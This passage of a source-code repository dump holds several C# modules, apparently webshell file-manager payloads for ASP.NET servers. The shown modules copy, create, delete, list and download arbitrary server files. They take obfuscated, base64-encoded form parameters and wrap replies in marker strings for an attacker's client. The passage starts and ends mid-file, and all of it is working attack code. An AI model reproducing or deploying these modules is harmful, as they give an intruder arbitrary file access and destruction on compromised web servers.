F in m.GetFiles()) 92 | { 93 | File.Copy(S + "\\" + F.Name, D + "\\" + F.Name); 94 | } 95 | 96 | foreach (DirectoryInfo F in m.GetDirectories()) 97 | { 98 | CopyCode(S + "\\" + F.Name, D + "\\" + F.Name); 99 | } 100 | } 101 | else 102 | { 103 | File.Copy(S, D); 104 | } 105 | 106 | return "1"; 107 | } 108 | 109 | public String HexAsciiConvert(String hex) 110 | { 111 | StringBuilder sb = new StringBuilder(); 112 | int i; 113 | for (i = 0; i < hex.Length; i += 2) 114 | { 115 | sb.Append(System.Convert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i, 2), 116 | System.Globalization.NumberStyles.HexNumber)))); 117 | } 118 | 119 | return sb.ToString(); 120 | } 121 | 122 | public String decode(String src) 123 | { 124 | int prefixlen = 0; 125 | try 126 | { 127 | prefixlen = Int32.Parse(randomPrefix); 128 | src = src.Substring(prefixlen); 129 | } 130 | catch (Exception e) 131 | { 132 | } 133 | 134 | String ret; 135 | try 136 | { 137 | switch (encoder) 138 | { 139 | case "base64": 140 | { 141 | ret = System.Text.Encoding.GetEncoding(cs).GetString(System.Convert.FromBase64String(src)); 142 | break; 143 | } 144 | case "hex": 145 | { 146 | ret = HexAsciiConvert(src); 147 | break; 148 | } 149 | default: 150 | { 151 | ret = src; 152 | break; 153 | } 154 | } 155 | } 156 | catch (Exception e) 157 | { 158 | ret = e.Message.ToString(); 159 | } 160 | 161 | return ret; 162 | } 163 | 164 | public String asoutput(String src) 165 | { 166 | String ret; 167 | try 168 | { 169 | switch (decoder) 170 | { 171 | case "base64": 172 | { 173 | ret = System.Convert.ToBase64String(System.Text.Encoding.GetEncoding(cs).GetBytes(src)); 174 | break; 175 | } 176 | default: 177 | { 178 | ret = src; 179 | break; 180 | } 181 | } 182 | } 183 | catch (Exception e) 184 | { 185 | ret = e.Message.ToString(); 186 | } 187 | 188 | return ret; 189 | } 190 | } 191 | } -------------------------------------------------------------------------------- /FM_Copy/FM_Copy.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {B442D154-5223-4F63-A83D-D4B6C3544D07} 8 | Library 9 | Properties 10 | FM_Copy 11 | FM_Copy 12 | v2.0 13 | 512 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /FM_Copy/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | // General Information about an assembly is controlled through the following 5 | // set of attributes. Change these attribute values to modify the information 6 | // associated with an assembly. 7 | [assembly: AssemblyTitle("FM_Copy")] 8 | [assembly: AssemblyDescription("")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("")] 11 | [assembly: AssemblyProduct("FM_Copy")] 12 | [assembly: AssemblyCopyright("Copyright © 2021")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | 16 | // Setting ComVisible to false makes the types in this assembly not visible 17 | // to COM components. If you need to access a type in this assembly from 18 | // COM, set the ComVisible attribute to true on that type. 19 | [assembly: ComVisible(false)] 20 | 21 | // The following GUID is for the ID of the typelib if this project is exposed to COM 22 | [assembly: Guid("B442D154-5223-4F63-A83D-D4B6C3544D07")] 23 | 24 | // Version information for an assembly consists of the following four values: 25 | // 26 | // Major Version 27 | // Minor Version 28 | // Build Number 29 | // Revision 30 | // 31 | // You can specify all the values or you can default the Build and Revision Numbers 32 | // by using the '*' as shown below: 33 | // [assembly: AssemblyVersion("1.0.*")] 34 | [assembly: AssemblyVersion("1.0.0.0")] 35 | [assembly: AssemblyFileVersion("1.0.0.0")] -------------------------------------------------------------------------------- /FM_CreateFile/FM_CreateFile.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Text; 4 | using System.Web; 5 | using System.Web.UI; 6 | 7 | namespace FM_CreateFile 8 | { 9 | public class Run 10 | { 11 | public HttpRequest Request; 12 | public HttpResponse Response; 13 | public String encoder; 14 | public String decoder; 15 | public String cs; 16 | public String randomPrefix; 17 | 18 | 19 | public override bool Equals(object obj) 20 | { 21 | this.parseObj(obj); 22 | this.cs = "UTF-8"; 23 | this.encoder = "base64"; 24 | this.decoder = ""; 25 | this.randomPrefix = "2"; 26 | String tag_s = "->|"; 27 | String tag_e = "|<-"; 28 | this.Response.Charset = cs; 29 | String result = ""; 30 | try 31 | { 32 | if (this.Request.Form["version"] != null) 33 | { 34 | String[] split = System.Text.Encoding.GetEncoding(cs) 35 | .GetString(System.Convert.FromBase64String(this.Request.Form["version"])).Split(';'); 36 | if (split.Length == 1) 37 | { 38 | this.randomPrefix = split[0]; 39 | } 40 | else 41 | { 42 | this.randomPrefix = split[0]; 43 | tag_s = split[1]; 44 | tag_e = split[2]; 45 | } 46 | } 47 | 48 | String path = decode(this.Request.Form["path"]); 49 | String content = decode(this.Request.Form["content"]); 50 | result += this.CreateFileCode(path, content); 51 | } 52 | catch (Exception e) 53 | { 54 | result = "ERROR:// " + e.Message; 55 | } 56 | 57 | this.Response.Write(tag_s + asoutput(result) + tag_e); 58 | return true; 59 | } 60 | 61 | public void parseObj(Object obj) 62 | { 63 | if (obj.GetType().IsArray) 64 | { 65 | Object[] data = (Object[])obj; 66 | this.Request = (HttpRequest)data[0]; 67 | this.Response = (HttpResponse)data[1]; 68 | } 69 | else 70 | { 71 | try 72 | { 73 | HttpContext context = (HttpContext)obj; 74 | this.Response = context.Response; 75 | this.Request = context.Request; 76 | } 77 | catch (Exception) 78 | { 79 | HttpContext context = HttpContext.Current; 80 | this.Response = context.Response; 81 | this.Request = context.Request; 82 | } 83 | } 84 | } 85 | 86 | public string CreateFileCode(String path, String content) 87 | { 88 | String ret = ""; 89 | StreamWriter m = new StreamWriter(path, false, Encoding.GetEncoding(cs)); 90 | m.Write(content); 91 | ret = "1"; 92 | m.Close(); 93 | return ret; 94 | } 95 | 96 | public String HexAsciiConvert(String hex) 97 | { 98 | StringBuilder sb = new StringBuilder(); 99 | int i; 100 | for (i = 0; i < hex.Length; i += 2) 101 | { 102 | sb.Append(System.Convert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i, 2), 103 | System.Globalization.NumberStyles.HexNumber)))); 104 | } 105 | 106 | return sb.ToString(); 107 | } 108 | 109 | public String decode(String src) 110 | { 111 | int prefixlen = 0; 112 | try 113 | { 114 | prefixlen = Int32.Parse(randomPrefix); 115 | src = src.Substring(prefixlen); 116 | } 117 | catch (Exception e) 118 | { 119 | } 120 | 121 | String ret; 122 | try 123 | { 124 | switch (encoder) 125 | { 126 | case "base64": 127 | { 128 | ret = System.Text.Encoding.GetEncoding(cs).GetString(System.Convert.FromBase64String(src)); 129 | break; 130 | } 131 | case "hex": 132 | { 133 | ret = HexAsciiConvert(src); 134 | break; 135 | } 136 | default: 137 | { 138 | ret = src; 139 | break; 140 | } 141 | } 142 | } 143 | catch (Exception e) 144 | { 145 | ret = e.Message.ToString(); 146 | } 147 | 148 | return ret; 149 | } 150 | 151 | public String asoutput(String src) 152 | { 153 | String ret; 154 | try 155 | { 156 | switch (decoder) 157 | { 158 | case "base64": 159 | { 160 | ret = System.Convert.ToBase64String(System.Text.Encoding.GetEncoding(cs).GetBytes(src)); 161 | break; 162 | } 163 | default: 164 | { 165 | ret = src; 166 | break; 167 | } 168 | } 169 | } 170 | catch (Exception e) 171 | { 172 | ret = e.Message.ToString(); 173 | } 174 | 175 | return ret; 176 | } 177 | } 178 | } -------------------------------------------------------------------------------- /FM_CreateFile/FM_CreateFile.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {AE83F956-2C8C-455A-8677-997C6567772D} 8 | Library 9 | Properties 10 | CreateFile 11 | FM_CreateFile 12 | v2.0 13 | 512 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /FM_CreateFile/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | // General Information about an assembly is controlled through the following 5 | // set of attributes. Change these attribute values to modify the information 6 | // associated with an assembly. 7 | [assembly: AssemblyTitle("FM_CreateFile")] 8 | [assembly: AssemblyDescription("")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("")] 11 | [assembly: AssemblyProduct("FM_CreateFile")] 12 | [assembly: AssemblyCopyright("Copyright © 2021")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | 16 | // Setting ComVisible to false makes the types in this assembly not visible 17 | // to COM components. If you need to access a type in this assembly from 18 | // COM, set the ComVisible attribute to true on that type. 19 | [assembly: ComVisible(false)] 20 | 21 | // The following GUID is for the ID of the typelib if this project is exposed to COM 22 | [assembly: Guid("AE83F956-2C8C-455A-8677-997C6567772D")] 23 | 24 | // Version information for an assembly consists of the following four values: 25 | // 26 | // Major Version 27 | // Minor Version 28 | // Build Number 29 | // Revision 30 | // 31 | // You can specify all the values or you can default the Build and Revision Numbers 32 | // by using the '*' as shown below: 33 | // [assembly: AssemblyVersion("1.0.*")] 34 | [assembly: AssemblyVersion("1.0.0.0")] 35 | [assembly: AssemblyFileVersion("1.0.0.0")] -------------------------------------------------------------------------------- /FM_Delete/FM_Delete.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Text; 4 | using System.Web; 5 | using System.Web.UI; 6 | 7 | namespace FM_Delete 8 | { 9 | public class Run 10 | { 11 | public HttpRequest Request; 12 | public HttpResponse Response; 13 | public String encoder; 14 | public String decoder; 15 | public String cs; 16 | public String randomPrefix; 17 | 18 | 19 | public override bool Equals(object obj) 20 | { 21 | this.parseObj(obj); 22 | this.cs = "UTF-8"; 23 | this.encoder = "base64"; 24 | this.decoder = ""; 25 | this.randomPrefix = "2"; 26 | String tag_s = "->|"; 27 | String tag_e = "|<-"; 28 | this.Response.Charset = cs; 29 | String result = ""; 30 | try 31 | { 32 | if (this.Request.Form["version"] != null) 33 | { 34 | String[] split = System.Text.Encoding.GetEncoding(cs) 35 | .GetString(System.Convert.FromBase64String(this.Request.Form["version"])).Split(';'); 36 | if (split.Length == 1) 37 | { 38 | this.randomPrefix = split[0]; 39 | } 40 | else 41 | { 42 | this.randomPrefix = split[0]; 43 | tag_s = split[1]; 44 | tag_e = split[2]; 45 | } 46 | } 47 | 48 | String path = decode(this.Request.Form["path"]); 49 | result += this.DeleteCode(path); 50 | } 51 | catch (Exception e) 52 | { 53 | result = "ERROR:// " + e.Message; 54 | } 55 | 56 | this.Response.Write(tag_s + asoutput(result) + tag_e); 57 | return true; 58 | } 59 | 60 | public void parseObj(Object obj) 61 | { 62 | if (obj.GetType().IsArray) 63 | { 64 | Object[] data = (Object[])obj; 65 | this.Request = (HttpRequest)data[0]; 66 | this.Response = (HttpResponse)data[1]; 67 | } 68 | else 69 | { 70 | try 71 | { 72 | HttpContext context = (HttpContext)obj; 73 | this.Response = context.Response; 74 | this.Request = context.Request; 75 | } 76 | catch (Exception) 77 | { 78 | HttpContext context = HttpContext.Current; 79 | this.Response = context.Response; 80 | this.Request = context.Request; 81 | } 82 | } 83 | } 84 | 85 | public string DeleteCode(String path) 86 | { 87 | String ret = ""; 88 | if (Directory.Exists(path)) 89 | { 90 | Directory.Delete(path, true); 91 | } 92 | else 93 | { 94 | File.Delete(path); 95 | } 96 | 97 | ret = "1"; 98 | return ret; 99 | } 100 | 101 | public String HexAsciiConvert(String hex) 102 | { 103 | StringBuilder sb = new StringBuilder(); 104 | int i; 105 | for (i = 0; i < hex.Length; i += 2) 106 | { 107 | sb.Append(System.Convert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i, 2), 108 | System.Globalization.NumberStyles.HexNumber)))); 109 | } 110 | 111 | return sb.ToString(); 112 | } 113 | 114 | public String decode(String src) 115 | { 116 | int prefixlen = 0; 117 | try 118 | { 119 | prefixlen = Int32.Parse(randomPrefix); 120 | src = src.Substring(prefixlen); 121 | } 122 | catch (Exception e) 123 | { 124 | } 125 | 126 | String ret; 127 | try 128 | { 129 | switch (encoder) 130 | { 131 | case "base64": 132 | { 133 | ret = System.Text.Encoding.GetEncoding(cs).GetString(System.Convert.FromBase64String(src)); 134 | break; 135 | } 136 | case "hex": 137 | { 138 | ret = HexAsciiConvert(src); 139 | break; 140 | } 141 | default: 142 | { 143 | ret = src; 144 | break; 145 | } 146 | } 147 | } 148 | catch (Exception e) 149 | { 150 | ret = e.Message.ToString(); 151 | } 152 | 153 | return ret; 154 | } 155 | 156 | public String asoutput(String src) 157 | { 158 | String ret; 159 | try 160 | { 161 | switch (decoder) 162 | { 163 | case "base64": 164 | { 165 | ret = System.Convert.ToBase64String(System.Text.Encoding.GetEncoding(cs).GetBytes(src)); 166 | break; 167 | } 168 | default: 169 | { 170 | ret = src; 171 | break; 172 | } 173 | } 174 | } 175 | catch (Exception e) 176 | { 177 | ret = e.Message.ToString(); 178 | } 179 | 180 | return ret; 181 | } 182 | } 183 | } -------------------------------------------------------------------------------- /FM_Delete/FM_Delete.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {0C1CCAE2-780C-410C-AE53-C7CA44BA1AA0} 8 | Library 9 | Properties 10 | FM_Delete 11 | FM_Delete 12 | v2.0 13 | 512 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /FM_Delete/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | // General Information about an assembly is controlled through the following 5 | // set of attributes. Change these attribute values to modify the information 6 | // associated with an assembly. 7 | [assembly: AssemblyTitle("FM_Delete")] 8 | [assembly: AssemblyDescription("")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("")] 11 | [assembly: AssemblyProduct("FM_Delete")] 12 | [assembly: AssemblyCopyright("Copyright © 2021")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | 16 | // Setting ComVisible to false makes the types in this assembly not visible 17 | // to COM components. If you need to access a type in this assembly from 18 | // COM, set the ComVisible attribute to true on that type. 19 | [assembly: ComVisible(false)] 20 | 21 | // The following GUID is for the ID of the typelib if this project is exposed to COM 22 | [assembly: Guid("0C1CCAE2-780C-410C-AE53-C7CA44BA1AA0")] 23 | 24 | // Version information for an assembly consists of the following four values: 25 | // 26 | // Major Version 27 | // Minor Version 28 | // Build Number 29 | // Revision 30 | // 31 | // You can specify all the values or you can default the Build and Revision Numbers 32 | // by using the '*' as shown below: 33 | // [assembly: AssemblyVersion("1.0.*")] 34 | [assembly: AssemblyVersion("1.0.0.0")] 35 | [assembly: AssemblyFileVersion("1.0.0.0")] -------------------------------------------------------------------------------- /FM_Dir/FM_Dir.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Text; 4 | using System.Web; 5 | 6 | namespace FM_Dir 7 | { 8 | public class Run 9 | { 10 | public HttpRequest Request; 11 | public HttpResponse Response; 12 | public String encoder; 13 | public String decoder; 14 | public String cs; 15 | public String randomPrefix; 16 | 17 | 18 | public override bool Equals(object obj) 19 | { 20 | this.parseObj(obj); 21 | this.cs = "UTF-8"; 22 | this.encoder = "base64"; 23 | this.decoder = ""; 24 | this.randomPrefix = "2"; 25 | String tag_s = "->|"; 26 | String tag_e = "|<-"; 27 | this.Response.Charset = cs; 28 | String result = ""; 29 | try 30 | { 31 | if (this.Request.Form["version"] != null) 32 | { 33 | String[] split = System.Text.Encoding.GetEncoding(cs) 34 | .GetString(System.Convert.FromBase64String(this.Request.Form["version"])).Split(';'); 35 | if (split.Length == 1) 36 | { 37 | this.randomPrefix = split[0]; 38 | } 39 | else 40 | { 41 | this.randomPrefix = split[0]; 42 | tag_s = split[1]; 43 | tag_e = split[2]; 44 | } 45 | } 46 | 47 | String path = decode(this.Request.Form["path"]); 48 | result += this.FileTree(path); 49 | } 50 | catch (Exception e) 51 | { 52 | result = "ERROR:// " + e.Message; 53 | } 54 | 55 | this.Response.Write(tag_s + asoutput(result) + tag_e); 56 | return true; 57 | } 58 | 59 | public void parseObj(Object obj) 60 | { 61 | if (obj.GetType().IsArray) 62 | { 63 | Object[] data = (Object[])obj; 64 | this.Request = (HttpRequest)data[0]; 65 | this.Response = (HttpResponse)data[1]; 66 | } 67 | else 68 | { 69 | try 70 | { 71 | HttpContext context = (HttpContext)obj; 72 | this.Response = context.Response; 73 | this.Request = context.Request; 74 | } 75 | catch (Exception) 76 | { 77 | HttpContext context = HttpContext.Current; 78 | this.Response = context.Response; 79 | this.Request = context.Request; 80 | } 81 | } 82 | } 83 | 84 | 85 | public string FileTree(String path) 86 | { 87 | String ret = ""; 88 | DirectoryInfo m = new DirectoryInfo(path); 89 | foreach (DirectoryInfo D in m.GetDirectories()) 90 | { 91 | ret += String.Format("{0}/\t{1}\t0\t-\n", D.Name, 92 | File.GetLastWriteTime(path + D.Name).ToString("yyyy-MM-dd hh:mm:ss")); 93 | } 94 | 95 | foreach (FileInfo D in m.GetFiles()) 96 | { 97 | ret += String.Format("{0}\t{1}\t{2}\t-\n", D.Name, 98 | File.GetLastWriteTime(path + D.Name).ToString("yyyy-MM-dd hh:mm:ss"), D.Length); 99 | } 100 | 101 | return ret; 102 | } 103 | 104 | public String HexAsciiConvert(String hex) 105 | { 106 | StringBuilder sb = new StringBuilder(); 107 | int i; 108 | for (i = 0; i < hex.Length; i += 2) 109 | { 110 | sb.Append(System.Convert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i, 2), 111 | System.Globalization.NumberStyles.HexNumber)))); 112 | } 113 | 114 | return sb.ToString(); 115 | } 116 | 117 | public String decode(String src) 118 | { 119 | int prefixlen = 0; 120 | try 121 | { 122 | prefixlen = Int32.Parse(randomPrefix); 123 | src = src.Substring(prefixlen); 124 | } 125 | catch (Exception e) 126 | { 127 | } 128 | 129 | String ret; 130 | try 131 | { 132 | switch (encoder) 133 | { 134 | case "base64": 135 | { 136 | ret = System.Text.Encoding.GetEncoding(cs).GetString(System.Convert.FromBase64String(src)); 137 | break; 138 | } 139 | case "hex": 140 | { 141 | ret = HexAsciiConvert(src); 142 | break; 143 | } 144 | default: 145 | { 146 | ret = src; 147 | break; 148 | } 149 | } 150 | } 151 | catch (Exception e) 152 | { 153 | ret = e.Message.ToString(); 154 | } 155 | 156 | return ret; 157 | } 158 | 159 | public String asoutput(String src) 160 | { 161 | String ret; 162 | try 163 | { 164 | switch (decoder) 165 | { 166 | case "base64": 167 | { 168 | ret = System.Convert.ToBase64String(System.Text.Encoding.GetEncoding(cs).GetBytes(src)); 169 | break; 170 | } 171 | default: 172 | { 173 | ret = src; 174 | break; 175 | } 176 | } 177 | } 178 | catch (Exception e) 179 | { 180 | ret = e.Message.ToString(); 181 | } 182 | 183 | return ret; 184 | } 185 | } 186 | } -------------------------------------------------------------------------------- /FM_Dir/FM_Dir.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {32B6D04A-A05B-4421-B063-910BE01B744A} 8 | Library 9 | Properties 10 | Dir 11 | FM_Dir 12 | v2.0 13 | 512 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /FM_Dir/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | // General Information about an assembly is controlled through the following 5 | // set of attributes. Change these attribute values to modify the information 6 | // associated with an assembly. 7 | [assembly: AssemblyTitle("FM_Dir")] 8 | [assembly: AssemblyDescription("")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("")] 11 | [assembly: AssemblyProduct("FM_Dir")] 12 | [assembly: AssemblyCopyright("Copyright © 2021")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | 16 | // Setting ComVisible to false makes the types in this assembly not visible 17 | // to COM components. If you need to access a type in this assembly from 18 | // COM, set the ComVisible attribute to true on that type. 19 | [assembly: ComVisible(false)] 20 | 21 | // The following GUID is for the ID of the typelib if this project is exposed to COM 22 | [assembly: Guid("32B6D04A-A05B-4421-B063-910BE01B744A")] 23 | 24 | // Version information for an assembly consists of the following four values: 25 | // 26 | // Major Version 27 | // Minor Version 28 | // Build Number 29 | // Revision 30 | // 31 | // You can specify all the values or you can default the Build and Revision Numbers 32 | // by using the '*' as shown below: 33 | // [assembly: AssemblyVersion("1.0.*")] 34 | [assembly: AssemblyVersion("1.0.0.0")] 35 | [assembly: AssemblyFileVersion("1.0.0.0")] -------------------------------------------------------------------------------- /FM_DownloadFile/FM_DownloadFile.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Text; 4 | using System.Web; 5 | using System.Web.UI; 6 | 7 | namespace FM_DownloadFile 8 | { 9 | public class Run 10 | { 11 | public HttpRequest Request; 12 | public HttpResponse Response; 13 | public String encoder; 14 | public String decoder; 15 | public String cs; 16 | public String randomPrefix; 17 | public String tag_s; 18 | public String tag_e; 19 | 20 | 21 | public override bool Equals(object obj) 22 | { 23 | this.parseObj(obj); 24 | this.cs = "UTF-8"; 25 | this.encoder = "base64"; 26 | this.decoder = ""; 27 | this.randomPrefix = "2"; 28 | tag_s = "->|"; 29 | tag_e = "|<-"; 30 | this.Response.Charset = cs; 31 | String result = ""; 32 | try 33 | { 34 | if (this.Request.Form["version"] != null) 35 | { 36 | String[] split = System.Text.Encoding.GetEncoding(cs) 37 | .GetString(System.Convert.FromBase64String(this.Request.Form["version"])).Split(';'); 38 | if (split.Length == 1) 39 | { 40 | this.randomPrefix = split[0]; 41 | } 42 | else 43 | { 44 | this.randomPrefix = split[0]; 45 | tag_s = split[1]; 46 | tag_e = split[2]; 47 | } 48 | } 49 | 50 | String path = decode(this.Request.Form["path"]); 51 | this.DownloadFileCode(path); 52 | } 53 | catch (Exception e) 54 | { 55 | result = "ERROR:// " + e.Message; 56 | } 57 | 58 | this.Response.Write(tag_s + asoutput(result) + tag_e); 59 | return true; 60 | } 61 | 62 | public void parseObj(Object obj) 63 | { 64 | if (obj.GetType().IsArray) 65 | { 66 | Object[] data = (Object[])obj; 67 | this.Request = (HttpRequest)data[0]; 68 | this.Response = (HttpResponse)data[1]; 69 | } 70 | else 71 | { 72 | try 73 | { 74 | HttpContext context = (HttpContext)obj; 75 | this.Response = context.Response; 76 | this.Request = context.Request; 77 | } 78 | catch (Exception) 79 | { 80 | HttpContext context = HttpContext.Current; 81 | this.Response = context.Response; 82 | this.Request = context.Request; 83 | } 84 | } 85 | } 86 | 87 | public void DownloadFileCode(String path) 88 | { 89 | this.Response.Clear(); 90 | this.Response.Write(tag_s); 91 | this.Response.WriteFile(path); 92 | this.Response.Write(tag_e); 93 | } 94 | 95 | public String HexAsciiConvert(String hex) 96 | { 97 | StringBuilder sb = new StringBuilder(); 98 | int i; 99 | for (i = 0; i < hex.Length; i += 2) 100 | { 101 | sb.Append(System.Convert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i, 2), 102 | System.Globalization.NumberStyles.HexNumber)))); 103 | } 104 | 105 | return sb.ToString(); 106 | } 107 | 108 | public String decode(String src) 109 | { 110 | int prefixlen = 0; 111 | try 112 | { 113 | prefixlen = Int32.Parse(randomPrefix); 114 | src = src.Substring(prefixlen); 115 | } 116 | catch (Exception e) 117 | { 118 | } 119 | 120 | String ret; 121 | try 122 | { 123 | switch (encoder) 124 | { 125 | case "base64": 126 | { 127 | ret = System.Text.Encoding.GetEncoding(cs).GetString(System.Convert.FromBase64String(src)); 128 | break; 129 | } 130 | case "hex": 131 | { 132 | ret = HexAsciiConvert(src); 133 | break; 134 | } 135 | default: 136 | { 137 | ret = src; 138 | break; 139 | } 140 | } 141 | } 142 | catch (Exception e) 143 | { 144 | ret = e.Message.ToString(); 145 | } 146 | 147 | return ret; 148 | } 149 | 150 | public String asoutput(String src) 151 | { 152 | String ret; 153 | try 154 | { 155 | switch (decoder) 156 | { 157 | case "base64": 158 | { 159 | ret = System.Convert.ToBase64String(System.Text.Encoding.GetEncoding(cs).GetBytes(src)); 160 | break; 161 | } 162 | default: 163 | { 164 | ret = src; 165 | break; 166 | } 167 | } 168 | } 169 | catch (Exception e) 170 | { 171 | ret = e.Message.ToString(); 172 | } 173 | 174 | return ret; 175 | } 176 | } 177 | } -------------------------------------------------------------------------------- /FM_DownloadFile/FM_DownloadFile.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {0C081095-8C92-4A66-9162-497E1E020504} 8 | Library 9 | Properties 10 | FM_DownloadFile 11 | FM_DownloadFile 12 | v2.0 13 | 512 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /FM_DownloadFile/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | // General Information about an assembly is controlled through the following 5 | // set of attributes. Change these attribute values to modify the information 6 | // associated with an assembly. 7 | [assembly: AssemblyTitle("FM_DownloadFile")] 8 | [assembly: AssemblyDescription("")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("")] 11 | [assembly: AssemblyProduct("FM_DownloadFile")] 12 | [assembly: AssemblyCopyright("Copyright © 2021")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | 16 | // Setting ComVisible to false makes the types in this assembly not visible 17 | // to COM components. If you need to access a type in this assembly from 18 | // COM, set the ComVisible attribute to true on that type. 19 | [assembly: ComVisible(false)] 20 | 21 | // The following GUID is for the ID of the typelib if this project is exposed to COM 22 | [assembly: Guid("0C081095-8C92-4A66-9162-497E1E020504")] 23 | 24 | // Version information for an assembly consists of the following four values: 25 | // 26 | // Major Version 27 | // Minor Version 28 | // Build Number 29 | // Revision 30 | // 31 | // You can specify all the values or you can default the Build and Revision Numbers 32 | // by using the '*' as shown below: 33 | // [assembly: AssemblyVersion("1.0.*")] 34 | [assembly: AssemblyVersion("1.0.0.0")] 35 | [assembly: AssemblyFileVersion("1.0.0.0")] -------------------------------------------------------------------------------- /FM_Mkdir/FM_Mkdir.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Text; 4 | using System.Web; 5 | using System.Web.UI; 6 | 7 | namespace FM_Mkdir 8 | { 9 | public class Run 10 | { 11 | public HttpRequest Request; 12 | public HttpResponse Response; 13 | public String encoder; 14 | public String decoder; 15 | public String cs; 16 | public String randomPrefix; 17 | 18 | 19 | public override bool Equals(object obj) 20 | { 21 | this.parseObj(obj); 22 | this.cs = "UTF-8"; 23 | this.encoder = "base64"; 24 | this.decoder = ""; 25 | this.randomPrefix = "2"; 26 | String tag_s = "->|"; 27 | String tag_e = "|<-"; 28 | this.Response.Charset = cs; 29 | String result = ""; 30 | try 31 | { 32 | if (this.Request.Form["version"] != null) 33 | { 34 | String[] split = System.Text.Encoding.GetEncoding(cs) 35 | .GetString(System.Convert.FromBase64String(this.Request.Form["version"])).Split(';'); 36 | if (split.Length == 1) 37 | { 38 | this.randomPrefix = split[0]; 39 | } 40 | else 41 | { 42 | this.randomPrefix = split[0]; 43 | tag_s = split[1]; 44 | tag_e = split[2]; 45 | } 46 | } 47 | 48 | String path = decode(this.Request.Form["path"]); 49 | result += this.MkdirCode(path); 50 | } 51 | catch (Exception e) 52 | { 53 | result = "ERROR:// " + e.Message; 54 | } 55 | 56 | this.Response.Write(tag_s + asoutput(result) + tag_e); 57 | return true; 58 | } 59 | 60 | public void parseObj(Object obj) 61 | { 62 | if (obj.GetType().IsArray) 63 | { 64 | Object[] data = (Object[])obj; 65 | this.Request = (HttpRequest)data[0]; 66 | this.Response = (HttpResponse)data[1]; 67 | } 68 | else 69 | { 70 | try 71 | { 72 | HttpContext context = 